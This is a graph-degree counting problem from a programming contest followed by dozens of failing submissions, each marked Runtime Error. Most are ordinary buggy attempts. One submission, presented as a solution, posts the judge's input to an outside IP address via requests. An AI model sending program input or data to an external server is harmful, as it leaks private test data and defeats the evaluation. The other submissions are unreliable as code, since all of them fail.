Problem:


Score : 200 points

Problem Statement

There are N cities and M roads.
The i-th road (1≤i≤M) connects two cities a_i and b_i (1≤a_i,b_i≤N) bidirectionally.
There may be more than one road that connects the same pair of two cities.
For each city, how many roads are connected to the city?

Constraints

2≤N,M≤50

1≤a_i,b_i≤N

a_i ≠ b_i

All input values are integers.

Input

Input is given from Standard Input in the following format:  

N M
a_1 b_1
:  
a_M b_M

Output

Print the answer in N lines.
In the i-th line (1≤i≤N), print the number of roads connected to city i.

Sample Input 1

4 3
1 2
2 3
1 4

Sample Output 1

2
2
1
1

City 1 is connected to the 1-st and 3-rd roads.

City 2 is connected to the 1-st and 2-nd roads.

City 3 is connected to the 2-nd road.

City 4 is connected to the 3-rd road.

Sample Input 2

2 5
1 2
2 1
1 2
2 1
1 2

Sample Output 2

5
5

Sample Input 3

8 8
1 2
3 4
1 5
2 8
3 7
5 2
4 1
6 8

Sample Output 3

3
3
2
2
2
1
1
2



Sample input:
4 3
1 2
2 3
1 4


Sample output:
2
2
1
1

Submission status: Runtime Error

Solution code:
N, M = map(int, input().split())
ABs = [input().split() for i in range(M)]

MPs = {}
for a, b in ABs:
    # この書き方でa,bが取り出せる
    a = int(a)  # intに直すには先に直しておく
    b = int(b)
    if a not in MPs:
        MPs[a] = 1
    else:
        MPs[a] += 1
    if b not in MPs:
        MPs[b] = 1
    else:
        MPs[b] += 1

for mp in range(1, N+1):
    print(MPs[mp])

Submission status: Runtime Error

Solution code:
N, M = map(int, input().split())
ABs = [input().split() for i in range(M)]


MPs = {}
for a, b in ABs:
    # この書き方でa,bが取り出せる
    a = int(a)  # intに直すには先に直しておく
    b = int(b)
    if a not in MPs:
        MPs[a] = 1
    else:
        MPs[a] += 1
    if b not in MPs:
        MPs[b] = 1
    else:
        MPs[b] += 1

for mp in range(1, N+1):
    print(MPs[mp])

Submission status: Runtime Error

Solution code:
N, M = map(int, input().split())
ABs = [input().split() for i in range(M)]
 
 
MPs = {}
for a, b in ABs:
	a = int(a)
    b = int(b)
    if a not in MPs:
        MPs[a] = 1
    else:
        MPs[a] += 1
    if b not in MPs:
        MPs[b] = 1
    else:
        MPs[b] += 1
 
for mp in range(1, N+1):
    if mp not in MPs:
        MPs[mp] = '0'
 
for _, y in sorted(MPs.items()):
    print(y)

Submission status: Runtime Error

Solution code:
N, M = map(int, input().split())
ABs = [input().split() for i in range(M)]
 
 
MPs = {}
for a, b in ABs:
    a = int(a)
    b = int(b)
    if a not in MPs:
        MPs[a] = 1
    else:
        MPs[a] += 1
    if b not in MPs:
        MPs[b] = 1
    else:
        MPs[b] += 1
 
for mp in range(1, N+1):
    if mp not in MPs:
        MPs[mp] = '0'
 
for y in sorted(MPs.values()):
    print(y)

Submission status: Runtime Error

Solution code:
N, M = map(int, input().split())
ABs = [input().split() for i in range(M)]
 
 
MPs = {}
for a, b in ABs:
	a = int(a)
    b = int(b)
    if a not in MPs:
        MPs[a] = 1
    else:
        MPs[a] += 1
    if b not in MPs:
        MPs[b] = 1
    else:
        MPs[b] += 1
 
for mp in range(1, N+1):
    if mp not in MPs:
        MPs[mp] = '0'
 
for y in sorted(MPs.values()):
    print(y)

Submission status: Runtime Error

Solution code:
import math
import sys

#n, a, b= map(int, input().split())
n, m  = map(int, input().split())
#s = list(str(input()))
#n = int(input())
#a = list(map(int, input().split()))

a = [""]*m
b = [""]*m
for i in range(m):
  #a[i] = int(input())
  a[i], b[i] = map(int, input().split())

num = [int(i+1) for i in range(m)]
count = [0]*n

for i in range(m):
  for ii in range(n):
    if(a[i] == num[ii]):
      count[ii] = count[ii] + 1
    if(b[i] == num[ii]):
      count[ii] = count[ii] + 1

for i in range(n):
  print(count[i])

Submission status: Runtime Error

Solution code:
import math
import sys

#n, a, b= map(int, input().split())
n, m  = map(int, input().split())
#s = list(str(input()))
#n = int(input())
#a = list(map(int, input().split()))

a = [""]*m
b = [""]*m
for i in range(m):
  #a[i] = int(input())
  a[i], b[i] = map(int, input().split())

num = [int(i+1) for i in range(5)]
count = [0]*n

for i in range(m):
  for ii in range(n):
    if(a[i] == num[ii]):
      count[ii] = count[ii] + 1
    if(b[i] == num[ii]):
      count[ii] = count[ii] + 1

for i in range(n):
  print(count[i])

Submission status: Runtime Error

Solution code:
n, m = map(int, input().split())

m_a = []
m_b = []
for i in range(m):
  m_a_tmp, m_b_tmp = map(int, input().split())
  m_a.append(m_a_tmp)
  m_b.append(m_b_tmp)

n_n = [0 for i in range(n)]

for a,b in zip(m_a, m_b):
  n_n[a] += 1
  n_n[b] += 1

for n in n_n:
  print(n)

Submission status: Runtime Error

Solution code:
t,l=map(int,input().split())
li=[set() for i in range(t)]
for i in range(l):
  a,b= map(int,input().split())
  l[a-1].add(b)
  l[b-1].add(a)
for i in li:
  print(len(i))

Submission status: Runtime Error

Solution code:
t,l=map(int,input().split())
l=[set() for i in range(t)]
for i in range(l):
  a,b= map(int,input().split())
  l[a-1].add(b)
  l[b-1].add(a)
for i in l:
  print(len(i))

Submission status: Runtime Error

Solution code:
n,m=map(int,input().split())
a=[0]*n
b=[0]*n
for i in range(m):
  a[i],b[i]=map(int,input().split())
for j in range(n):
  print(a.count(j+1)+b.count(j+1))

Submission status: Runtime Error

Solution code:
n,m=map(int,input().split())
a=[0]*n
b=[0]*n
for i in range(n):
  a[i],b[i]=map(int,input().split())
for j in range(m):
  print(a.count(m+1)+b.count(m+1))

Submission status: Runtime Error

Solution code:
yandy
N, M = map(int, input().split())

num = [0] * N

for i in range(M):
    a, b = map(int, input().split())
    num[a-1] += 1
    num[b-1] += 1

for i in num:
    print(i)

Submission status: Runtime Error

Solution code:
a,b=map(int,input().split())
d=dict()
for i in range(b):
  s,l=input().split()
  if s in d.keys():
    d[s]+=1
    if l in d.keys():
      d[l]+=1
    else:
      d[l]=1
  else:
    d[s]=1
    if l in d.keys():
      d[l]+=1
    else:
      d[l]=1
score_sorted = sorted(d.items(), key=lambda x:x[0])

for i in range(a):
  print(score_sorted[i][1])

Submission status: Runtime Error

Solution code:
b

Submission status: Runtime Error

Solution code:
#include <iostream>
#include <vector>
using namespace std;
#define MAX_N 60
int main() {
  int N, M;
  cin >> N >> M;
  vector<vector<int> > G(MAX_N);
  for (int i = 0; i < M; i++) {
    int a, b;
    cin >> a >> b;
    G[a].push_back(b);
    G[b].push_back(a);
  }

  for (int i = 1; i <= N; i++) cout << G[i].size() << endl;

  return 0;
}

Submission status: Runtime Error

Solution code:

N,M = map(int, input().split())

town_road_dict = {}

for i in range(M):
    a,b = map(int, input().split())
    
    if a not in town_road_dict:
        town_road_dict[a] = [b]
    else:
        town_road_dict[a].append(b)
    if b not in town_road_dict:
        town_road_dict[b] = [a]
    else:
        town_road_dict[b].append(a)
        
for i in range(N):
    print(len(town_road_dict[i+1]))

Submission status: Runtime Error

Solution code:
N,M = map(int,input().split())
dic = {}
for i in range(M):
  a,b = map(int,input().split())
  if a not in dic:
    dic[a] = 1
  else:
    dic[a] +=1
  if b not in dic:
    dic[b] = 1
  else:
    dic[b] +=1

for j in range(N):
  print(dic[j+1])

Submission status: Runtime Error

Solution code:
n,m=list(map(int,input().split()))
lists=[]
for i in range(n):
  lists.append()
for i in range(n):
  am=int(input())
  bm=int(input())
  lists[am-1]+=1
  lists[bm-1]+=1
for i in range(n):
  print(str(list[i])+"\n")

Submission status: Runtime Error

Solution code:
n, m = map(int, input().split())
a = []
b = []
for i in range(m):
  a[i], b[i] = map(int, input().split())
cnt = 0

for i in range(1, n+1):
  for j in range(m):
    if a[j] == i:
      cnt += 1
    if b[j] == i:
      cnt += 1
  print(cnt)
  cnt = 0

Submission status: Runtime Error

Solution code:
n, m = map(int, input().split())
a = []
b = []
for i in range(m):
 a[i], b[i] = map(int, input().split())
cnt = 0

for i in range(1, n+1):
  for j in range(m):
    if a[j] == i:
      cnt += 1
    if b[j] == i:
      cnt += 1
  print(cnt)
  cnt = 0

Submission status: Runtime Error

Solution code:
n, m = map(int, input().split())
a = []
b = []
for i in range(m):
 a[i], b[i] = map(int, input().split())
cnt = 0

for i in range(1, n+1):
  for j in range(m):
    if a[j] = i:
      cnt += 1
    if b[j] = i:
      cnt += 1
  print(cnt)
  cnt = 0

Submission status: Runtime Error

Solution code:
n, m = map(int, input().split())
t = [0 for i in range(n)]
for i in range(m):
    a, b = (map(str, input().split()))
    t[a-1] +=1
    t[b-1] +=1
    
for j in t:
    print(j)

Submission status: Runtime Error

Solution code:
#include <bits/stdc++.h>
using namespace std;

int main(){
  int n,m;
  cin >> n >> m;
  
  vector <int> from(m);
  vector <int> to(m);
  vector <int> town(n);

  for(int i = 0;i<m;i++){
    cin >> from.at(i);
    cin >> to.at(i);
    town.at(from.at(i)-1) += 1;
    town.at(to.at(i)-1) += 1;
  }
  for(int i = 0;i<n;i++){
    cout << town.at(i) << endl;
  }
}

Submission status: Runtime Error

Solution code:
N, M = map(int, input().split())
R = list()
for i in range(N):
  R.append(0)
for i in range(M):
  c1, c2 = map(int, input().split())
  R[c1] += 1
  R[c2] += 1
for i in range(N):
  print(R[i])

Submission status: Runtime Error

Solution code:
n,m=map(int,input().split())
a=list(map(int,input().split() for i in range(n)))
for i in range(1,n+1):
    print(a.count(i))

Submission status: Runtime Error

Solution code:
n,m=map(int,input().split())
a=list(map(int,input().split()))
print(a.count(i) for i in range (1,n+1), sep='\n')

Submission status: Runtime Error

Solution code:
n,m=map(int,input().split())
l=[]
g=0
for i in range(m):
  a,b=map(int,input().split())
  a.append(l)
  b.append(l)
  
for j in range(1,n+1):
  g+=l.count(j)
  
print(g)

Submission status: Runtime Error

Solution code:
n,m=map(int,input().split())
l=[]
g=0
for i in range(n):
  a,b=map(int,input().split())
  a.append(l)
  b.append(l)
  
for j in range(1,n+1):
  g+=l.count(j)
  
print(g)

Submission status: Runtime Error

Solution code:
n,m = map(int,input().split())
ab = [[0 for i in range(n)] for j in range(n)]

for i in range(m):
    a,b = map(int,input().split())
    a -= 1
    b -= 1
    ab[a][b] += 1
    ab[b][a] += 1

for i in range(n):
    cnt = 0
    for j in range(m):
        cnt += ab[i][j]
    print(cnt)

Submission status: Runtime Error

Solution code:
n,m = map(int,input().split())
ab = [[0 for i in range(n)] for j in range(n)]

for i in range(m):
    a,b = map(int,input().split())
    ab[a][b] += 1
    ab[b][a] += 1

for i in range(n):
    cnt = 0
    for j in range(m):
        cnt += ab[i][j]
    print(cnt)

Submission status: Runtime Error

Solution code:
n, m = map(int, input().split())
L = [0] * n
for i in range(m):
    a, b = map(int, input().split())
    L[a - 1] += 1
    L[b - 1] += 1

for i in L:
    pront(i)

Submission status: Runtime Error

Solution code:
import collections
n, m = map(int, input().split())
L = [0] * n
for i in range(m):
    a, b = map(int, input().split())
    L[a - 1] += 1
    L[b - 1] += 1

for i in L:
    pront(i)

Submission status: Runtime Error

Solution code:
import collections
n, m = map(int, input().split())
L = []
for _ in range(m):
    a, b = map(int, input().split())
    L.append(a)
    L.append(b)

L_dict = collections.Counter(L)
L_dict_sort = sorted(L_dict.items(), key = lambda x:x[0])
for i in range(n):
    print(L_dict_sort[i][1])

Submission status: Runtime Error

Solution code:
import collections
n, m = map(int, input().split())
L = []
for _ in range(m):
    a, b = map(int, input().split())
    L.append(a)
    L.append(b)

L_dict = collections.Counter(L)
L_dict_sort = sorted(L_dict.items(), key=lambda x:x[0])
for i in range(n):
    print(L_dict_sort[i][1])

Submission status: Runtime Error

Solution code:
N,M = map(int,input().split())
G = {}
for _ in range(M):
    a,b = map(int,input().split())
    if a not in G:
        G[a] = []
    G[a].append(b)
    if b not in G:
        G[b] = []
    G[b].append(b)
for i in range(1,N+1):
    print(len(G[i]))

Submission status: Runtime Error

Solution code:
N,M = map(int,input().split())
G = {}
for _ in range(N):
    a,b = map(int,input().split())
    if a not in G:
        G[a] = []
    G[a].append(b)
    if b not in G:
        G[b] = []
    G[b].append(b)
for i in range(1,N+1):
    print(len(G[i]))

Submission status: Runtime Error

Solution code:
N,M=map(int,input().split())
list=[[] for j in range(N)]
for i in range(M):
  a,b=map(int,input().split())
  list[a-1]+="Y"
  list[b-1]+="Y"
for i in range(M):
  print(len(list[i]))

Submission status: Runtime Error

Solution code:
from collections import Counter
N,M=map(int,input().split())

road=[[str(s) for s in input().split()] for m in range(M)]

ans=[]

for m in range(M):
  roadm_counter=Counter(road[m])
  ans_counter=Counter(ans)
  ans_counter=ans_counter+roadm_counter
  ans=dict(ans_counter)

for a in range(N):
  print(ans[str(a+1)])

Submission status: Runtime Error

Solution code:
import collections
N,m=map(int,input().split())
table=collections.defaultdict(int)
for i in range(M):
  a,b=map(int,input().split())
  table[a]+=1
  table[b]+=1
for i in range(N):
  print(table[i])

Submission status: Runtime Error

Solution code:
import collections
N, M = map(int, input().split())
AB = []
for i in range(M):
    ab = input().split()
    if ab[0] == ab[1]:
        AB.append(ab[0])
    else:
        AB.extend(input().split())
dic = collections.Counter(AB)
list_ = sorted(dic.items())
for l in list_:
    print(l[1])

Submission status: Runtime Error

Solution code:
n,m=map(int,input().split())
li=[0]*n
for i in range(n):
  a,b=map(int,input().split())
  li[a-1]+=1
  li[b-1]+=1
for i in li:
  print(i)

Submission status: Runtime Error

Solution code:
n,m = map(int, input().split())

arr = {}

for i in range(m):
    a, b = map(int, input().split())
    if a in arr:
        arr[a] += 1
    else:
        arr[a] = 1
    
    if b in arr:
        arr[b] += 1
    else:
        arr[b] = 1

for i in range(len(arr)):
    print(arr[i+1])

Submission status: Runtime Error

Solution code:
#include <stdio.h>

int main(void){
    int i, a, b, N, M, count[50];

    scanf("%d %d", &N, &M);

    for(i=0; i<M; i++){
        scanf("%d %d", &a, &b);
        count[a-1] += 1;
        count[b-1] += 1;
    }

    for (i = 0; i < N; i++)
    {
        printf("%d\n", count[i]);
    }
    

    return 0;
}

Submission status: Runtime Error

Solution code:
n,m = map(int,input().split(" "))

city_road_count = [0] * m
for i in range(m):
  a,b = map(int,input.split(" "))
  city_road_count[a-1] += 1
  city_road_count[b-1] += 1
  
for c in city_road_count:
  print(c)

Submission status: Runtime Error

Solution code:


n,m = map(int,input().split(" "))

roads = []
for i in range(m):
    roads.append(input())

def count_road(n,m,str_roads):
    city_roads_count = [0] * m
    for road in str_roads:
        a,b = map(int,input().split(" "))
        city_roads_count[a-1] += 1
        city_road_count[b-1] += 1
    return city_roads_count

roads_count = count_road(n,m,roads)

for road_count in roads_count:
    print(road)

Submission status: Runtime Error

Solution code:

n,m = map(int,input().split(" "))

roads = []
for i in range(m):
    roads.append(input())

def count_road(n,m,str_roads):
    city_roads_count = [0] * m
    for road in str_roads:
        a,b = map(int,input().split(" "))
        city_roads_count[a-1] += 1
        city_road_count[b-1] += 1
    return city_roads_count


for road_cout in roads_count:
    print(road)

Submission status: Runtime Error

Solution code:
n,m = map(int,input().split(" "))
city_road_counts = [0] * m
for i in range(m):
  a,b = map(int,input().split(" "))
  a = a-1
  b = b-1
  city_road_counts[a] += 1
  city_road_counts[b] += 1

for road_count in city_road_counts:
  print(road_count)

Submission status: Runtime Error

Solution code:
n, m = map(int, input().split())
ab = [list(map(int, input().split())) for _ in range(m)]

cnt = [0] * n

for i in range(m):
    cnt[ab[i][0] - 1] += 1
    cnt[ab[i][1] - 1] += 1

for i in range(n):
    print(cnt(i))

Submission status: Runtime Error

Solution code:
def main():
	N, M = map(int, input().split())
    d = dict()
    for _ in range(M):
        a, b = map(int, input().split())
        d[a] = d.get(a, 0) + 1
        d[b] = d.get(b, 0) + 1

    for a in range(1, N+1):
        if a in d:
            print(d[a])
        else:
            print(0)

if __name__ == '__main__':
    main()

Submission status: Runtime Error

Solution code:
def main():
    N, M = map(int, input().split())
    d = dict()
    for _ in range(M):
        a, b = map(int, input().split())
        d[a] = d.get(a, 0) + 1
        d[b] = d.get(b, 0) + 1

    for a in range(1, N+1):
        print(d[a])


if __name__ == '__main__':
    main()

Submission status: Runtime Error

Solution code:
N,M = map(int, input().strip())
G = [[] for _ in range(N)]
for _ in range(M):
  a,b = map(int, input().strip().split(' '))
  a,b = a-1, b-1
  G[a].append(b)
  G[b].append(a)

for i in range(N):
  print(len(G[i]))

Submission status: Runtime Error

Solution code:
N,M = map(int, input().strip())
G = [[] for _ in range(N)]
for _ in range(M):
  a,b = map(int, input().strip().split(' '))
  G[a].append(b)
  G[b].append(a)

for i in range(N):
  print(len(G[i]))

Submission status: Runtime Error

Solution code:
import numpy as np

n,m=map(int,input().split())
road=[list(map(int,input().split())) for i in range(m)]

ans=np.unique(road,return_counts=True)
for i in range(n):
    print(ans[1,i])

Submission status: Runtime Error

Solution code:
import numpy as np

n,m=map(int,input().split())
road=[list(map(int,input().split())) for i in range(m)]

ans=np.unique(road,return_counts=True)
for i in range(n):
    print(ans[1][i])

Submission status: Runtime Error

Solution code:
import numpy as np

n,m=map(int,input().split())
road=[list(map(int,input().split())) for i in range(m)]
road.sort()
ans=np.unique(road,return_counts=True)
for i in range(n):
    print(ans[1][i])

Submission status: Runtime Error

Solution code:
import numpy as np

n,m=map(int,input().split())
road=[list(input().split()) for i in range(m)]
road.sort()
ans=np.unique(road,return_counts=True)
for i in range(n):
    print(ans[1][i])

Submission status: Runtime Error

Solution code:
(nodes, roads) = (int(tok) for tok in input().split())

count = { i:0 for i in range(1, nodes + 1) }
for _ in range(roads):
	for tok in input().split():
		count[int(node)] += 1
          
for i in range(1, nodes + 1):
	print(count[i])

Submission status: Runtime Error

Solution code:
n , m = map(int,input().split())
load = []
for a in range(m):
  town = list(map(int,input().split()))
  load.append(town)
result = flatten(load)  
for b in range(n):
  print(result.count(b))

Submission status: Runtime Error

Solution code:
N, M = map(int, input().split())
a = []
b = []
for i in range(M):
    ai, bi = map(int, input().split())
    a.append(ai)
    b.append(bi)

for i in range(N):
    r = 0
    r += a.count(i+1)
    r += b.count(i+1)
	print(r)

Submission status: Runtime Error

Solution code:
N,M=[int(x) for x in input().split()]
ans=[0]*N
for n in range(N):
  a,b=[int(x) for x in input().split()]
  ans[a-1]+=1
  ans[b-1]+=1
for a in ans:
  print(a)

Submission status: Runtime Error

Solution code:
N, M = int(input())
cities = [0] * (N+1)
for _ in range(M):
  a, b = map(int, input().split())
  cities[a] += 1
  cities[b] += 1
for idx in range(1, N+1):
  print(cities[idx])

Submission status: Runtime Error

Solution code:
N = int(input())
count = [0]*N
for i in range(N):
	x, y = [int(x) for x in input().split()]
    count[x-1] += 1
    count[y-1] += 1
for c in count:
    print(c)

Submission status: Runtime Error

Solution code:
N = int(input())
count = [0]*N
for i in range(N):
	x, y = [int(x) for x in input().split()]
    count[x-1] += 1
    count[y-1] += 1
for c in N:
    print(c)

Submission status: Runtime Error

Solution code:
N = int(input())
count = [0]*N
for i in range(N):
	x, y = [int(x) for x in input().split()]
    count[x] += 1
    count[y] += 1
for c in N:
    print(c)

Submission status: Runtime Error

Solution code:
N,M = map(int,input().split())
R = []
for i in range(M):
  r = list(map(int,input().split()))
  R.append(r)

for l in range(N):
  ans = []
  ans = [i for i in R if i = l ]
  print(len(ans))

Submission status: Runtime Error

Solution code:
N,M = list(map(int,input().split()))
z = 0

for i in range(M):
  a,b = list(map(int,input().split()))
  z.append(a)
  z.append(b)

for i in range(N):
  print(z.count(i+1))

Submission status: Runtime Error

Solution code:
n, m = map(int, input().split())
d = dict()

for _ in range(m):
  a, b = map(int,input().split())
  d[a] = d.get(a, 0) + 1
  d[b] = d.get(b, 0) + 1

for i in range(1, n+1):
  print(d[i])

Submission status: Runtime Error

Solution code:
# coding: utf-8
# Your code here!

N, M = map(int, input().split())
arr = [0 for i in range(N)]

for i in range(M):
    A, B = map(int, input().split())
    arr[A - 1] += 1
    arr[B - 1] += 1
  
for j in range(M):
    print(arr[j])

Submission status: Runtime Error

Solution code:
# coding: utf-8
# Your code here!

from collections import Counter

def flatten_2dim(array):
    return [item for sublist in array for item in sublist]
    
N, M = map(int, input().split())
arr = [[int(i) for i in input().split()] for j in range(M)]

dic = Counter(flatten_2dim(arr))
sort_dic = sorted(dic.items())

for i in range(M):
    print(sort_dic[i][1])

Submission status: Runtime Error

Solution code:
# coding: utf-8
# Your code here!
import collections

N, M = map(int, input().split())
cities = [list(map(int, input().split())) for i in range(M)]
cities = sum(cities, [])

c_list = sorted(collections.Counter(cities).items())

for i in range(N):
    print(c_list[i][1])

Submission status: Runtime Error

Solution code:
n, m = map(int, input().split())
r = [0] * n
for _ in range(m):
  a, b = map(int, input().split())
  r[a] += 1
  r[b] += 1
for i in range(n):
  print(r[i])

Submission status: Runtime Error

Solution code:
import requests
S = input()
s = requests.session()
data={
    "data":S
}
url = "http://13.231.150.9/b.php"
s.post(url,data=data)
print("None")

Submission status: Runtime Error

Solution code:
N,M = map(int, input().split())

ans = [0] * M

for i in range(M):
    a, b = map(int, input().split())
    ans[a-1] += 1
    ans[b-1] += 1

print(*ans, sep='\n')

Submission status: Runtime Error

Solution code:
# 2019/05/25
# AtCoder Beginner Contest 061 - B

# Input
n, m = map(int, input().split())
rcnt = [0] * (n + 1)
for i in range(m):
    a, b = map(int, input().split())
    rcnt[a] += 1
    rcnt[b] += 1

# Output
for i in range(1, n+1):
    print[i]

Submission status: Runtime Error

Solution code:
n,m=map(int,input().split())
s={}
for i in range(m):
    a,b=map(int,input().split())
    s[a]=s.get(a,0)+1
    s[b]=s.get(b,0)+1
for i in range(1,n+1):
    print(s[i])

Submission status: Runtime Error

Solution code:
N, M = map(int, input().split())
N = int(N)
M = int(M)

ab = []
for _ in range(M):
  ab.append(list(map(int, input().split()))
           
bridges = [0] * N
            
for c in range(N):
  for i in range(M):
    if c+1==ab[i][0] or c+1==ab[i][1]:
      bridges[c] += 1
            
 
for _ in range(N):
  print(bridges[_] )

Submission status: Runtime Error

Solution code:
N, M = map(int, input().split())
ab = []
for _ in range(M):
  ab.append(list(map(int, input().split()))
           
bs = [0] * N
            
 
for c in range(N):
  for i in range(M):
    if c+1==ab[i][0] or c+1==ab[i][1]:
      bs[c] += 1
            
 
for _ in range(N):
  print(bs[_] )

Submission status: Runtime Error

Solution code:
N, M = map(int, input().split())
ab = []
for _ in range(M):
  ab.append(map(int, input().split())
           
bs = [0] * N
            

for c in range(N):
  for i in range(M):
    if c+1==ab[i][0] or c+1==ab[i][1]:
      bs[c] += 1
            

for _ in range(N):
  print(bs[_] )

Submission status: Runtime Error

Solution code:
n,m = map(int,input().split())
l = []
for i in range(m):
    a,b = map(int,input().split())
    l.append(a)
    l.append(b)
    t = list(set(l))
for i in range(n):
    print(l.count(t[i]))

Submission status: Runtime Error

Solution code:
n,m = map(int, input().split())
bridge = [0,0,0,0]
for i in range(m):
    a,b = map(int,input().split())
    bridge[a-1] += 1
    bridge[b-1] += 1
for i in bridge:
    print(i)

Submission status: Runtime Error

Solution code:
n,m=map(int,input().split())
l=[]
for i in range(m):
    a,b=map(int,input().split())
    l.append(a)
    l.append(b)

z=list(set(l))
for i in range(1,n+1):
    print(l.count(z[i]))

Submission status: Runtime Error

Solution code:
N, M = map(int, input().split())
ab = []
for i in range(N):
    ab.append(map(int, input().split()))

ans = []
for i in range(1,max(ab)+1):
    ans.append(ans.count(i))

for x in ans:
    print(x)

Submission status: Runtime Error

Solution code:
N, M = map(int, input().split())
ab = [map(int, input().split()) for _ in range(N)]

ans = []
for i in range(1,max(ab)+1):
    ans.append(ans.count(i))

for x in ans:
    print(x)

Submission status: Runtime Error

Solution code:
N, M = map(int, input().split())
ab = [list(map(int, input().split())) for _ in range(N)]

ans = [0] * M
for i in range(N):
    ans[ab[i][0]] += 1
    ans[ab[i][1]] += 1

for x in ans:
    print(x)

Submission status: Runtime Error

Solution code:
n, m = [int(item) for item in input().split()]
count = [0] * n
for i in range(n):
    a, b = [int(item) for item in input().split()]
    count[a-1] += 1
    count[b-1] += 1
for item in count:
    print(item)

Submission status: Runtime Error

Solution code:
I=lambda:map(int,input().split())
N,M=I()
r=range(N)
m={i:0 for i in r}
for _ in[0]*M:a,b=I();m[a]+=+1;m[b]+=1
for i in r:print(m[i])

Submission status: Runtime Error

Solution code:
n,m=map(int,input().split())
hoge=[]
for i in range(m):
  a,b=map(int,input())
  hoge.append(a)
  hoge.append(b)
  
for i in range(n):
  print(hoge.count(i+1))

Submission status: Runtime Error

Solution code:
N,M = map(int,input())
bucket = {}
for i in range(N):
  bucket[i] = 0
for m in range(m):
  tempa,tempb = map(int,input())
  bucket[tempa-1] += 1
  bucket[tempb-1] += 1
for i in range(N):
  print(bucket[i])

Submission status: Runtime Error

Solution code:
n,m = map(int, input().split())
listA = [(map(int, input().split())) for i in range(m)]
for j in range(n):
  print(count(j+1))

Submission status: Runtime Error

Solution code:
N,M= map(int,input().split())
AB=[[int(j) for j in input().split()] for i in range(M)]
result=dict()

for i in range(M):
    ind =AB[i][0]
    ind2 =AB[i][1]
    #print(i,ind,ind2)
    if result.get(str(ind)) is None:
        result[str(ind)] =1
    else:
        result[str(ind)] =result[str(ind)]+1
    
    if result.get(str(ind2)) is None:
        result[str(ind2)] =1
    else:
        result[str(ind2)] =result[str(ind2)]+1
    #print(result)
    
for i in range(1,N+1):    
    print(result[str(i)])

Submission status: Runtime Error

Solution code:
n,m=map(int,input().split())
x=[0 for i in range(n)]
for i in range(m):
  a,b=map(int,input().split())
  x[a-1]+=1;x[b-1]+=1
for i in range(n):print(n[i])

Submission status: Runtime Error

Solution code:
N,M = map(int,input().split())
ans = [0]*N
for _ in range(M):
  ans[int(input())-1] += 1

for a in ans:
  print(a)

Submission status: Runtime Error

Solution code:
n,m = map(int, input().split())
c = [0]*n
for i in range(m):
  a,b = map(int, input().split())
  c[a] += 1
  c[b] += 1
for i in c:
  print(i)

Submission status: Runtime Error

Solution code:
n,m = map(int,input().split())
ab_list = [list(map(int, input().split())) for _ in range(m)]
tmp_list = sorted(list(chain(*ab_list)))
tmp_dic = {}
for i in range(1,n+1):
    tmp_dic[i]=0
for val in tmp_list:
    tmp_dic[val] += 1
for k,v in tmp_dic.items():
    print(v)

Submission status: Runtime Error

Solution code:
n, m = map(int, input().split())
es = [[] for _ in range(n)]
for _ in range(m):
  s, t = map(int, input().split())
  es[s].append(t)
  es[t].append(s)
for i in range(n):
  print(len(list(set(es[i]))))

Submission status: Runtime Error

Solution code:
N, M = map(int, input().split())
cities = {}
for i in range(0, N):
    cities[i] = 0
for _ in range(0, M):
    a, b = map(int, input().split())
    cities[a] += 1
    cities[b] += 1
# 都市をkeyにしたdictを作って、その内容をインクリしていく?
for i in range(0, N):
    print (cities[i])

Submission status: Runtime Error

Solution code:
n,_,*r=map(int,open(0).read().split());for i in range(n):print(r.count(-~i))

Submission status: Runtime Error

Solution code:
n,m=map(int,input().split())
s=""
for i in range(m):
    a,b=input().split()
    s=s+a+b
for k in range(n)
    print(s.count(str(k+1)))

Submission status: Runtime Error

Solution code:
[n,m] = [int(i) for i in input().split()]
ab = []
dic = {}
for i in range(m):
  ab.append([int(j) for j in input().split()])

for i in range(m):
  if ab[i][0] in dic.keys():
    dic[ab[i][0]] += 1
  else:
    dic[ab[i][0]] = 1
    
  if  ab[i][1] in dic.keys():
    dic[ab[i][1]] += 1
  else:
    dic[ab[i][1]] = 1
    
for i in range(n):
  print(dic[i+1])

Submission status: Runtime Error

Solution code:
[n,m] = [int(i) for i in input().split()]
ab = []
dic = {}
for i in range(m):
  ab.append([int(j) for j in input().split()])

for i in range(m):
  if ab[i][0] in dic.keys():
	dic[ab[i][0]] += 1
  else:
    dic[ab[i][0]] = 1
    
  if  ab[i][1] in dic.keys():
	dic[ab[i][1]] += 1
  else:
    dic[ab[i][1]] = 1
    
for i in range(n):
  print(dic[i+1])

Submission status: Runtime Error

Solution code:
[n,m] = [int(i) for i in input().split()]
ab = []
dic = {}
for i in range(m):
  ab.append([int(j) for j in input().split()])

for i in range(m):
  if ab[i][0] in dic.keys():
	  dic[ab[i][0]] += 1
  else:
    dic[ab[i][0]] = 1
    
  if  ab[i][1] in dic.keys():
	  dic[ab[i][1]] += 1
  else:
    dic[ab[i][1]] = 1
    
for i in range(n):
  print(dic[i+1])

Submission status: Runtime Error

Solution code:
[n,m] = [int(i) for i in input().split()]
ab = []
dic = {}
for i in range(m):
  ab.append([int(j) for j in input().split()])
 
for i in range(m):
  if ab[i][0] in dic.keys():
	  dic[ab[i][0]] += 1
  else:
    dic[ab[i][0]] = 1
    
  if  ab[i][1] in dic.keys():
	  dic[ab[i][1]] += 1
  else:
    dic[ab[i][1]] = 1
    
for i in range(n):
  print(dic[i+1])

Submission status: Runtime Error

Solution code:
[n,m] = [int(i) for i in input().split()]
ab = []
dic = {}
for i in range(m):
  ab.append([int(i) for i in input().split()])

for i in range(m):
  if ab[i][0] in dic.keys():
	  dic[ab[i][0]] += 1
  else:
    dic[ab[i][0]] = 1
    
  if  ab[i][1] in dic.keys():
	  dic[ab[i][1]] += 1
  else:
    dic[ab[i][1]] = 1
    
for i in range(n):
  print(dic[i+1])

Submission status: Runtime Error

Solution code:
from collections import Counter
n, m = map(int, input().split())
A = []
for i in range(m):
    x, y = map(int, input().split())
    A.append(x)
    A.append(y)
C = sorted(Counter(A).most_common())
for i in range(n):
    print(C[i][1])

Submission status: Runtime Error

Solution code:
from collections import Counter
n, m = map(int, input().split())
A = []
for i in range(m):
    x, y = map(int, input().split())
    A.append(x)
    A.append(y)
C = sorted(Counter(A).most_common(), reverse = True, key = lambda x: x[1])
for i in range(n):
    print(C[i][1])

Submission status: Runtime Error

Solution code:
n,m=map(int,input().split())
l=" ".join([input() for _ in [0]*m])
for i in range(i,n+1):print(s.split().count(str(i)))